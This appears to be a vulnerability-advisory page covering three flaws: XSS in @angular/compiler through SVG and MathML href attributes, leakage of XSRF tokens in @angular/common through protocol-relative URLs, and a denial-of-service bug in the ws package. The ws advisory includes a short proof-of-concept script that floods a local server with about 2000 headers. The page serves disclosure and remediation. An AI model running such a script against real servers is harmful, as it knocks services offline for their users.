Find, fix and prevent vulnerabilities in your code.

Overview

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via incomplete sanitization of certain SVG and MathML attributes, including xlink:href, math|href, as well as the attributeName attribute of SVG animation elements when it is bound to href or xlink:href. An attacker can execute arbitrary JavaScript code in the context of the application by injecting a javascript: URL payload into these attributes, which is then triggered either by user interaction or automatically through animation.

Workaround

This vulnerability can be mitigated by:

1. Ensuring that data bound to the vulnerable attributes is never sourced from untrusted user input

2. Avoiding affected template bindings

3. Not binding untrusted data to the attributeName attribute of SVG animation elements

4. Enabling a robust Content Security Policy (CSP) that disallows javascript: URLs.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Affected environments

The following environments are susceptible to an XSS attack:

• Web servers
• Application servers
• Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

• Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
• Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
• Give users the option to disable client-side scripts.
• Redirect invalid requests.
• Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
• Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
• Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade @angular/compiler to version 19.2.17, 20.3.15, 21.0.2 or higher.

References

• GitHub Commit
• GitHub Commit
• GitHub Commit
• GitHub Commit

Overview

Affected versions of this package are vulnerable to Insertion of Sensitive Information Into Sent Data via the HttpClient which has a built-in XSRF protection mechanism. An attacker can obtain sensitive authentication tokens by crafting requests using protocol-relative URLs that cause the token to be sent to domains under the attacker's control.

Note: This is only exploitable if XSRF protection is enabled and the application allows requests to protocol-relative URLs.

Workaround

This vulnerability can be mitigated by avoiding the use of protocol-relative URLs (those starting with //) in requests and ensuring all backend communication URLs are either relative paths or fully qualified, trusted absolute URLs.

Remediation

Upgrade @angular/common to version 19.2.16, 20.3.14, 21.0.1 or higher.

References

• GitHub Commit
• GitHub Commit
• GitHub Commit
• GitHub Release
• GitHub Release
• GitHub Release

Overview

ws is a simple to use websocket client, server and console for node.js.

Affected versions of this package are vulnerable to Denial of Service (DoS) when the number of received headers exceed the server.maxHeadersCount or request.maxHeadersCount threshold.

Workaround

This issue can be mitigating by following these steps:

1. Reduce the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent.

2. Set server.maxHeadersCount to 0 so that no limit is applied.

PoC

const http = require('http');
const WebSocket = require('ws');

const server = http.createServer();

const wss = new WebSocket.Server({ server });

server.listen(function () {
  const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
  const headers = {};
  let count = 0;

  for (let i = 0; i < chars.length; i++) {
    if (count === 2000) break;

    for (let j = 0; j < chars.length; j++) {
      const key = chars[i] + chars[j];
      headers[key] = 'x';

      if (++count === 2000) break;
    }
  }

  headers.Connection = 'Upgrade';
  headers.Upgrade = 'websocket';
  headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
  headers['Sec-WebSocket-Version'] = '13';

  const request = http.request({
    headers: headers,
    host: '127.0.0.1',
    port: server.address().port
  });

  request.end();
});

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade ws to version 5.2.4, 6.2.3, 7.5.10, 8.17.1 or higher.

References

• GitHub Commit
• GitHub Commit
• GitHub Commit
• GitHub Commit
• GitHub Issue
• GitHub PR
• GitHub Release